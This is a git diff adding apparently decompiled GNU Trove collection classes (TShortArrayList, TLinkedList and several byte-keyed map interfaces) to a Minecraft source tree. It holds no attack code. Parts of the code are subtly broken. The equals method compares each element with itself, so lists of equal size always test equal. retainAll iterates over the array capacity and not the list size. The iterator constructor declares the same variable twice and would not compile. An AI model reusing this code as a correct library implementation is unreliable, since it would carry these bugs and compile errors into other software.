+    _data[(_pos++)] = val;
+    return true;
+  }
+  
+
+  public void add(short[] vals)
+  {
+    add(vals, 0, vals.length);
+  }
+  
+
+  public void add(short[] vals, int offset, int length)
+  {
+    ensureCapacity(_pos + length);
+    System.arraycopy(vals, offset, _data, _pos, length);
+    _pos += length;
+  }
+  
+
+  public void insert(int offset, short value)
+  {
+    if (offset == _pos) {
+      add(value);
+      return;
+    }
+    ensureCapacity(_pos + 1);
+    
+    System.arraycopy(_data, offset, _data, offset + 1, _pos - offset);
+    
+    _data[offset] = value;
+    _pos += 1;
+  }
+  
+
+  public void insert(int offset, short[] values)
+  {
+    insert(offset, values, 0, values.length);
+  }
+  
+
+  public void insert(int offset, short[] values, int valOffset, int len)
+  {
+    if (offset == _pos) {
+      add(values, valOffset, len);
+      return;
+    }
+    
+    ensureCapacity(_pos + len);
+    
+    System.arraycopy(_data, offset, _data, offset + len, _pos - offset);
+    
+    System.arraycopy(values, valOffset, _data, offset, len);
+    _pos += len;
+  }
+  
+
+  public short get(int offset)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    return _data[offset];
+  }
+  
+
+
+
+  public short getQuick(int offset)
+  {
+    return _data[offset];
+  }
+  
+
+  public void set(int offset, short val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    _data[offset] = val;
+  }
+  
+
+  public short replace(int offset, short val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    short old = _data[offset];
+    _data[offset] = val;
+    return old;
+  }
+  
+
+  public void set(int offset, short[] values)
+  {
+    set(offset, values, 0, values.length);
+  }
+  
+
+  public void set(int offset, short[] values, int valOffset, int length)
+  {
+    if ((offset < 0) || (offset + length > _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(values, valOffset, _data, offset, length);
+  }
+  
+
+
+
+  public void setQuick(int offset, short val)
+  {
+    _data[offset] = val;
+  }
+  
+
+  public void clear()
+  {
+    clear(10);
+  }
+  
+
+
+
+
+  public void clear(int capacity)
+  {
+    _data = new short[capacity];
+    _pos = 0;
+  }
+  
+
+
+
+
+
+  public void reset()
+  {
+    _pos = 0;
+    Arrays.fill(_data, no_entry_value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void resetQuick()
+  {
+    _pos = 0;
+  }
+  
+
+  public boolean remove(short value)
+  {
+    for (int index = 0; index < _pos; index++) {
+      if (value == _data[index]) {
+        remove(index, 1);
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public short removeAt(int offset)
+  {
+    short old = get(offset);
+    remove(offset, 1);
+    return old;
+  }
+  
+
+  public void remove(int offset, int length)
+  {
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    
+    if (offset == 0)
+    {
+      System.arraycopy(_data, length, _data, 0, _pos - length);
+    }
+    else if (_pos - length != offset)
+    {
+
+
+
+
+      System.arraycopy(_data, offset + length, _data, offset, _pos - (offset + length));
+    }
+    
+    _pos -= length;
+  }
+  
+
+
+
+
+  public TShortIterator iterator()
+  {
+    return new TShortArrayIterator(0);
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Short)) {
+        short c = ((Short)element).shortValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TShortCollection collection)
+  {
+    if (this == collection) {
+      return true;
+    }
+    TShortIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      short element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(short[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Short> collection)
+  {
+    boolean changed = false;
+    for (Short element : collection) {
+      short e = element.shortValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TShortCollection collection)
+  {
+    boolean changed = false;
+    TShortIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      short element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(short[] array)
+  {
+    boolean changed = false;
+    for (short element : array) {
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TShortIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Short.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TShortCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TShortIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(short[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    short[] data = _data;
+    
+    for (int i = data.length; i-- > 0;) {
+      if (Arrays.binarySearch(array, data[i]) < 0) {
+        remove(i, 1);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Short)) {
+        short c = ((Short)element).shortValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TShortCollection collection)
+  {
+    if (collection == this) {
+      clear();
+      return true;
+    }
+    boolean changed = false;
+    TShortIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      short element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(short[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void transformValues(TShortFunction function)
+  {
+    for (int i = _pos; i-- > 0;) {
+      _data[i] = function.execute(_data[i]);
+    }
+  }
+  
+
+  public void reverse()
+  {
+    reverse(0, _pos);
+  }
+  
+
+  public void reverse(int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(i, j);i++;
+    }
+  }
+  
+
+  public void shuffle(Random rand)
+  {
+    for (int i = _pos; i-- > 1;) {
+      swap(i, rand.nextInt(i));
+    }
+  }
+  
+
+
+
+
+
+
+  private void swap(int i, int j)
+  {
+    short tmp = _data[i];
+    _data[i] = _data[j];
+    _data[j] = tmp;
+  }
+  
+
+
+
+  public TShortList subList(int begin, int end)
+  {
+    if (end < begin) {
+      throw new IllegalArgumentException("end index " + end + " greater than begin index " + begin);
+    }
+    
+    if (begin < 0) {
+      throw new IndexOutOfBoundsException("begin index can not be < 0");
+    }
+    if (end > _data.length) {
+      throw new IndexOutOfBoundsException("end index < " + _data.length);
+    }
+    TShortArrayList list = new TShortArrayList(end - begin);
+    for (int i = begin; i < end; i++) {
+      list.add(_data[i]);
+    }
+    return list;
+  }
+  
+
+  public short[] toArray()
+  {
+    return toArray(0, _pos);
+  }
+  
+
+  public short[] toArray(int offset, int len)
+  {
+    short[] rv = new short[len];
+    toArray(rv, offset, len);
+    return rv;
+  }
+  
+
+  public short[] toArray(short[] dest)
+  {
+    int len = dest.length;
+    if (dest.length > _pos) {
+      len = _pos;
+      dest[len] = no_entry_value;
+    }
+    toArray(dest, 0, len);
+    return dest;
+  }
+  
+
+  public short[] toArray(short[] dest, int offset, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(_data, offset, dest, 0, len);
+    return dest;
+  }
+  
+
+  public short[] toArray(short[] dest, int source_pos, int dest_pos, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((source_pos < 0) || (source_pos >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(source_pos);
+    }
+    System.arraycopy(_data, source_pos, dest, dest_pos, len);
+    return dest;
+  }
+  
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (other == this) {
+      return true;
+    }
+    if ((other instanceof TShortArrayList)) {
+      TShortArrayList that = (TShortArrayList)other;
+      if (that.size() != size()) { return false;
+      }
+      for (int i = _pos; i-- > 0;) {
+        if (_data[i] != _data[i]) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int h = 0;
+    for (int i = _pos; i-- > 0;) {
+      h += HashFunctions.hash(_data[i]);
+    }
+    return h;
+  }
+  
+
+
+
+  public boolean forEach(TShortProcedure procedure)
+  {
+    for (int i = 0; i < _pos; i++) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachDescending(TShortProcedure procedure)
+  {
+    for (int i = _pos; i-- > 0;) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  public void sort()
+  {
+    Arrays.sort(_data, 0, _pos);
+  }
+  
+
+  public void sort(int fromIndex, int toIndex)
+  {
+    Arrays.sort(_data, fromIndex, toIndex);
+  }
+  
+
+
+
+  public void fill(short val)
+  {
+    Arrays.fill(_data, 0, _pos, val);
+  }
+  
+
+  public void fill(int fromIndex, int toIndex, short val)
+  {
+    if (toIndex > _pos) {
+      ensureCapacity(toIndex);
+      _pos = toIndex;
+    }
+    Arrays.fill(_data, fromIndex, toIndex, val);
+  }
+  
+
+
+
+  public int binarySearch(short value)
+  {
+    return binarySearch(value, 0, _pos);
+  }
+  
+
+  public int binarySearch(short value, int fromIndex, int toIndex)
+  {
+    if (fromIndex < 0) {
+      throw new ArrayIndexOutOfBoundsException(fromIndex);
+    }
+    if (toIndex > _pos) {
+      throw new ArrayIndexOutOfBoundsException(toIndex);
+    }
+    
+    int low = fromIndex;
+    int high = toIndex - 1;
+    
+    while (low <= high) {
+      int mid = low + high >>> 1;
+      short midVal = _data[mid];
+      
+      if (midVal < value) {
+        low = mid + 1;
+      }
+      else if (midVal > value) {
+        high = mid - 1;
+      }
+      else {
+        return mid;
+      }
+    }
+    return -(low + 1);
+  }
+  
+
+  public int indexOf(short value)
+  {
+    return indexOf(0, value);
+  }
+  
+
+  public int indexOf(int offset, short value)
+  {
+    for (int i = offset; i < _pos; i++) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public int lastIndexOf(short value)
+  {
+    return lastIndexOf(_pos, value);
+  }
+  
+
+  public int lastIndexOf(int offset, short value)
+  {
+    for (int i = offset; i-- > 0;) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public boolean contains(short value)
+  {
+    return lastIndexOf(value) >= 0;
+  }
+  
+
+  public TShortList grep(TShortProcedure condition)
+  {
+    TShortArrayList list = new TShortArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public TShortList inverseGrep(TShortProcedure condition)
+  {
+    TShortArrayList list = new TShortArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (!condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public short max()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find maximum of an empty list");
+    }
+    short max = Short.MIN_VALUE;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] > max) {
+        max = _data[i];
+      }
+    }
+    return max;
+  }
+  
+
+  public short min()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find minimum of an empty list");
+    }
+    short min = Short.MAX_VALUE;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] < min) {
+        min = _data[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    int i = 0; for (int end = _pos - 1; i < end; i++) {
+      buf.append(_data[i]);
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_data[(_pos - 1)]);
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+
+  class TShortArrayIterator
+    implements TShortIterator
+  {
+    private int cursor = 0;
+    
+
+
+
+
+
+    int lastRet = -1;
+    
+    TShortArrayIterator(int index)
+    {
+      cursor = index;
+    }
+    
+
+    public boolean hasNext()
+    {
+      return cursor < size();
+    }
+    
+    public short next()
+    {
+      try
+      {
+        short next = get(cursor);
+        lastRet = (cursor++);
+        return next;
+      } catch (IndexOutOfBoundsException e) {
+        throw new NoSuchElementException();
+      }
+    }
+    
+
+    public void remove()
+    {
+      if (lastRet == -1) {
+        throw new IllegalStateException();
+      }
+      try {
+        remove(lastRet, 1);
+        if (lastRet < cursor)
+          cursor -= 1;
+        lastRet = -1;
+      } catch (IndexOutOfBoundsException e) {
+        throw new ConcurrentModificationException();
+      }
+    }
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeInt(_pos);
+    
+
+    out.writeShort(no_entry_value);
+    
+
+    int len = _data.length;
+    out.writeInt(len);
+    for (int i = 0; i < len; i++) {
+      out.writeShort(_data[i]);
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _pos = in.readInt();
+    
+
+    no_entry_value = in.readShort();
+    
+
+    int len = in.readInt();
+    _data = new short[len];
+    for (int i = 0; i < len; i++) {
+      _data[i] = in.readShort();
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/list/linked/TLinkedList.java b/src/minecraft/gnu/trove/list/linked/TLinkedList.java
new file mode 100644
index 0000000..bd066a9
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/linked/TLinkedList.java
@@ -0,0 +1,825 @@
+package gnu.trove.list.linked;
+
+import gnu.trove.list.TLinkable;
+import gnu.trove.procedure.TObjectProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.lang.reflect.Array;
+import java.util.AbstractSequentialList;
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLinkedList<T extends TLinkable<T>>
+  extends AbstractSequentialList<T>
+  implements Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected T _head;
+  protected T _tail;
+  protected int _size = 0;
+  
+
+
+
+
+
+
+
+
+  public TLinkedList() {}
+  
+
+
+
+
+
+
+
+
+  public ListIterator<T> listIterator(int index)
+  {
+    return new IteratorImpl(index);
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _size;
+  }
+  
+
+
+
+
+
+
+
+
+  public void add(int index, T linkable)
+  {
+    if ((index < 0) || (index > size())) {
+      throw new IndexOutOfBoundsException("index:" + index);
+    }
+    insert(index, linkable);
+  }
+  
+
+
+
+
+
+
+  public boolean add(T linkable)
+  {
+    insert(_size, linkable);
+    return true;
+  }
+  
+
+
+
+
+
+  public void addFirst(T linkable)
+  {
+    insert(0, linkable);
+  }
+  
+
+
+
+
+
+  public void addLast(T linkable)
+  {
+    insert(size(), linkable);
+  }
+  
+
+  public void clear()
+  {
+    if (null != _head) {
+      for (TLinkable<T> link = _head.getNext(); 
+          link != null; 
+          link = link.getNext()) {
+        TLinkable<T> prev = link.getPrevious();
+        prev.setNext(null);
+        link.setPrevious(null);
+      }
+      _head = (this._tail = null);
+    }
+    _size = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Object[] toArray()
+  {
+    Object[] o = new Object[_size];
+    int i = 0;
+    for (TLinkable link = _head; link != null; link = link.getNext()) {
+      o[(i++)] = link;
+    }
+    return o;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Object[] toUnlinkedArray()
+  {
+    Object[] o = new Object[_size];
+    int i = 0;
+    for (TLinkable<T> link = _head; link != null; i++) {
+      o[i] = link;
+      TLinkable<T> tmp = link;
+      link = link.getNext();
+      tmp.setNext(null);
+      tmp.setPrevious(null);
+    }
+    _size = 0;
+    _head = (this._tail = null);
+    return o;
+  }
+  
+
+
+
+
+
+
+
+  public T[] toUnlinkedArray(T[] a)
+  {
+    int size = size();
+    if (a.length < size) {
+      a = (TLinkable[])Array.newInstance(a.getClass().getComponentType(), size);
+    }
+    
+    int i = 0;
+    for (T link = _head; link != null; i++) {
+      a[i] = link;
+      T tmp = link;
+      link = link.getNext();
+      tmp.setNext(null);
+      tmp.setPrevious(null);
+    }
+    _size = 0;
+    _head = (this._tail = null);
+    return a;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(Object o)
+  {
+    for (TLinkable<T> link = _head; link != null; link = link.getNext()) {
+      if (o.equals(link)) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+  public T get(int index)
+  {
+    if ((index < 0) || (index >= _size)) {
+      throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + _size);
+    }
+    
+
+    if (index > _size >> 1) {
+      int position = _size - 1;
+      T node = _tail;
+      
+      while (position > index) {
+        node = node.getPrevious();
+        position--;
+      }
+      
+      return node;
+    }
+    int position = 0;
+    T node = _head;
+    
+    while (position < index) {
+      node = node.getNext();
+      position++;
+    }
+    
+    return node;
+  }
+  
+
+
+
+
+
+
+  public T getFirst()
+  {
+    return _head;
+  }
+  
+
+
+
+
+
+  public T getLast()
+  {
+    return _tail;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public T getNext(T current)
+  {
+    return current.getNext();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public T getPrevious(T current)
+  {
+    return current.getPrevious();
+  }
+  
+
+
+
+
+
+
+  public T removeFirst()
+  {
+    T o = _head;
+    
+    if (o == null) {
+      return null;
+    }
+    
+    T n = o.getNext();
+    o.setNext(null);
+    
+    if (null != n) {
+      n.setPrevious(null);
+    }
+    
+    _head = n;
+    if (--_size == 0) {
+      _tail = null;
+    }
+    return o;
+  }
+  
+
+
+
+
+
+
+  public T removeLast()
+  {
+    T o = _tail;
+    
+    if (o == null) {
+      return null;
+    }
+    
+    T prev = o.getPrevious();
+    o.setPrevious(null);
+    
+    if (null != prev) {
+      prev.setNext(null);
+    }
+    _tail = prev;
+    if (--_size == 0) {
+      _head = null;
+    }
+    return o;
+  }
+  
+
+
+
+
+
+
+
+
+  protected void insert(int index, T linkable)
+  {
+    if (_size == 0) {
+      _head = (this._tail = linkable);
+    } else if (index == 0) {
+      linkable.setNext(_head);
+      _head.setPrevious(linkable);
+      _head = linkable;
+    } else if (index == _size) {
+      _tail.setNext(linkable);
+      linkable.setPrevious(_tail);
+      _tail = linkable;
+    } else {
+      T node = get(index);
+      
+      T before = node.getPrevious();
+      if (before != null) {
+        before.setNext(linkable);
+      }
+      
+      linkable.setPrevious(before);
+      linkable.setNext(node);
+      node.setPrevious(linkable);
+    }
+    _size += 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean remove(Object o)
+  {
+    if ((o instanceof TLinkable))
+    {
+      TLinkable<T> link = (TLinkable)o;
+      
+      T p = link.getPrevious();
+      T n = link.getNext();
+      
+      if ((n == null) && (p == null))
+      {
+
+
+        if (o != _head) {
+          return false;
+        }
+        
+        _head = (this._tail = null);
+      } else if (n == null)
+      {
+        link.setPrevious(null);
+        p.setNext(null);
+        _tail = p;
+      } else if (p == null)
+      {
+        link.setNext(null);
+        n.setPrevious(null);
+        _head = n;
+      } else {
+        p.setNext(n);
+        n.setPrevious(p);
+        link.setNext(null);
+        link.setPrevious(null);
+      }
+      
+      _size -= 1;
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void addBefore(T current, T newElement)
+  {
+    if (current == _head) {
+      addFirst(newElement);
+    } else if (current == null) {
+      addLast(newElement);
+    } else {
+      T p = current.getPrevious();
+      newElement.setNext(current);
+      p.setNext(newElement);
+      newElement.setPrevious(p);
+      current.setPrevious(newElement);
+      _size += 1;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void addAfter(T current, T newElement)
+  {
+    if (current == _tail) {
+      addLast(newElement);
+    } else if (current == null) {
+      addFirst(newElement);
+    } else {
+      T n = current.getNext();
+      newElement.setPrevious(current);
+      newElement.setNext(n);
+      current.setNext(newElement);
+      n.setPrevious(newElement);
+      _size += 1;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean forEachValue(TObjectProcedure<T> procedure)
+  {
+    T node = _head;
+    while (node != null) {
+      boolean keep_going = procedure.execute(node);
+      if (!keep_going) {
+        return false;
+      }
+      
+      node = node.getNext();
+    }
+    
+    return true;
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeInt(_size);
+    
+
+    out.writeObject(_head);
+    
+
+    out.writeObject(_tail);
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _size = in.readInt();
+    
+
+    _head = ((TLinkable)in.readObject());
+    
+
+    _tail = ((TLinkable)in.readObject());
+  }
+  
+
+  protected final class IteratorImpl
+    implements ListIterator<T>
+  {
+    private int _nextIndex = 0;
+    
+
+
+    private T _next;
+    
+
+    private T _lastReturned;
+    
+
+
+    IteratorImpl(int position)
+    {
+      if ((position < 0) || (position > _size)) {
+        throw new IndexOutOfBoundsException();
+      }
+      
+      _nextIndex = position;
+      if (position == 0) {
+        _next = _head;
+      } else if (position == _size) {
+        _next = null; } else { int pos;
+        if (position < _size >> 1) {
+          pos = 0;
+          for (_next = _head; pos < position; pos++) {
+            _next = _next.getNext();
+          }
+        } else {
+          int pos = _size - 1;
+          for (_next = _tail; pos > position; pos--) {
+            _next = _next.getPrevious();
+          }
+        }
+      }
+    }
+    
+
+
+
+
+
+    public final void add(T linkable)
+    {
+      _lastReturned = null;
+      _nextIndex += 1;
+      
+      if (_size == 0) {
+        add(linkable);
+      } else {
+        addBefore(_next, linkable);
+      }
+    }
+    
+
+
+
+
+
+    public final boolean hasNext()
+    {
+      return _nextIndex != _size;
+    }
+    
+
+
+
+
+
+    public final boolean hasPrevious()
+    {
+      return _nextIndex != 0;
+    }
+    
+
+
+
+
+
+
+
+
+    public final T next()
+    {
+      if (_nextIndex == _size) {
+        throw new NoSuchElementException();
+      }
+      
+      _lastReturned = _next;
+      _next = _next.getNext();
+      _nextIndex += 1;
+      return _lastReturned;
+    }
+    
+
+
+
+
+
+
+    public final int nextIndex()
+    {
+      return _nextIndex;
+    }
+    
+
+
+
+
+
+
+
+
+    public final T previous()
+    {
+      if (_nextIndex == 0) {
+        throw new NoSuchElementException();
+      }
+      
+      if (_nextIndex == _size) {
+        _lastReturned = (this._next = _tail);
+      } else {
+        _lastReturned = (this._next = _next.getPrevious());
+      }
+      
+      _nextIndex -= 1;
+      return _lastReturned;
+    }
+    
+
+
+
+
+
+    public final int previousIndex()
+    {
+      return _nextIndex - 1;
+    }
+    
+
+
+
+
+
+
+
+
+
+    public final void remove()
+    {
+      if (_lastReturned == null) {
+        throw new IllegalStateException("must invoke next or previous before invoking remove");
+      }
+      
+      if (_lastReturned != _next) {
+        _nextIndex -= 1;
+      }
+      _next = _lastReturned.getNext();
+      remove(_lastReturned);
+      _lastReturned = null;
+    }
+    
+
+
+
+
+
+
+    public final void set(T linkable)
+    {
+      if (_lastReturned == null) {
+        throw new IllegalStateException();
+      }
+      
+
+
+      if (_lastReturned == _head) {
+        _head = linkable;
+      }
+      
+      if (_lastReturned == _tail) {
+        _tail = linkable;
+      }
+      
+      swap(_lastReturned, linkable);
+      _lastReturned = linkable;
+    }
+    
+
+
+
+
+
+
+    private void swap(T from, T to)
+    {
+      T p = from.getPrevious();
+      T n = from.getNext();
+      
+      if (null != p) {
+        to.setPrevious(p);
+        p.setNext(to);
+      }
+      if (null != n) {
+        to.setNext(n);
+        n.setPrevious(to);
+      }
+      from.setNext(null);
+      from.setPrevious(null);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/TByteByteMap.java b/src/minecraft/gnu/trove/map/TByteByteMap.java
new file mode 100644
index 0000000..1839ba5
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TByteByteMap.java
@@ -0,0 +1,70 @@
+package gnu.trove.map;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.iterator.TByteByteIterator;
+import gnu.trove.procedure.TByteByteProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TByteByteMap
+  extends Serializable
+{
+  public abstract byte getNoEntryKey();
+  
+  public abstract byte getNoEntryValue();
+  
+  public abstract byte put(byte paramByte1, byte paramByte2);
+  
+  public abstract byte putIfAbsent(byte paramByte1, byte paramByte2);
+  
+  public abstract void putAll(Map<? extends Byte, ? extends Byte> paramMap);
+  
+  public abstract void putAll(TByteByteMap paramTByteByteMap);
+  
+  public abstract byte get(byte paramByte);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract byte remove(byte paramByte);
+  
+  public abstract int size();
+  
+  public abstract TByteSet keySet();
+  
+  public abstract byte[] keys();
+  
+  public abstract byte[] keys(byte[] paramArrayOfByte);
+  
+  public abstract TByteCollection valueCollection();
+  
+  public abstract byte[] values();
+  
+  public abstract byte[] values(byte[] paramArrayOfByte);
+  
+  public abstract boolean containsValue(byte paramByte);
+  
+  public abstract boolean containsKey(byte paramByte);
+  
+  public abstract TByteByteIterator iterator();
+  
+  public abstract boolean forEachKey(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachValue(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachEntry(TByteByteProcedure paramTByteByteProcedure);
+  
+  public abstract void transformValues(TByteFunction paramTByteFunction);
+  
+  public abstract boolean retainEntries(TByteByteProcedure paramTByteByteProcedure);
+  
+  public abstract boolean increment(byte paramByte);
+  
+  public abstract boolean adjustValue(byte paramByte1, byte paramByte2);
+  
+  public abstract byte adjustOrPutValue(byte paramByte1, byte paramByte2, byte paramByte3);
+}
diff --git a/src/minecraft/gnu/trove/map/TByteCharMap.java b/src/minecraft/gnu/trove/map/TByteCharMap.java
new file mode 100644
index 0000000..407cf0f
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TByteCharMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.iterator.TByteCharIterator;
+import gnu.trove.procedure.TByteCharProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TByteCharMap
+  extends Serializable
+{
+  public abstract byte getNoEntryKey();
+  
+  public abstract char getNoEntryValue();
+  
+  public abstract char put(byte paramByte, char paramChar);
+  
+  public abstract char putIfAbsent(byte paramByte, char paramChar);
+  
+  public abstract void putAll(Map<? extends Byte, ? extends Character> paramMap);
+  
+  public abstract void putAll(TByteCharMap paramTByteCharMap);
+  
+  public abstract char get(byte paramByte);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract char remove(byte paramByte);
+  
+  public abstract int size();
+  
+  public abstract TByteSet keySet();
+  
+  public abstract byte[] keys();
+  
+  public abstract byte[] keys(byte[] paramArrayOfByte);
+  
+  public abstract TCharCollection valueCollection();
+  
+  public abstract char[] values();
+  
+  public abstract char[] values(char[] paramArrayOfChar);
+  
+  public abstract boolean containsValue(char paramChar);
+  
+  public abstract boolean containsKey(byte paramByte);
+  
+  public abstract TByteCharIterator iterator();
+  
+  public abstract boolean forEachKey(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachValue(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachEntry(TByteCharProcedure paramTByteCharProcedure);
+  
+  public abstract void transformValues(TCharFunction paramTCharFunction);
+  
+  public abstract boolean retainEntries(TByteCharProcedure paramTByteCharProcedure);
+  
+  public abstract boolean increment(byte paramByte);
+  
+  public abstract boolean adjustValue(byte paramByte, char paramChar);
+  
+  public abstract char adjustOrPutValue(byte paramByte, char paramChar1, char paramChar2);
+}
diff --git a/src/minecraft/gnu/trove/map/TByteDoubleMap.java b/src/minecraft/gnu/trove/map/TByteDoubleMap.java
new file mode 100644
index 0000000..550a6b8
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TByteDoubleMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.iterator.TByteDoubleIterator;
+import gnu.trove.procedure.TByteDoubleProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TByteDoubleMap
+  extends Serializable
+{
+  public abstract byte getNoEntryKey();
+  
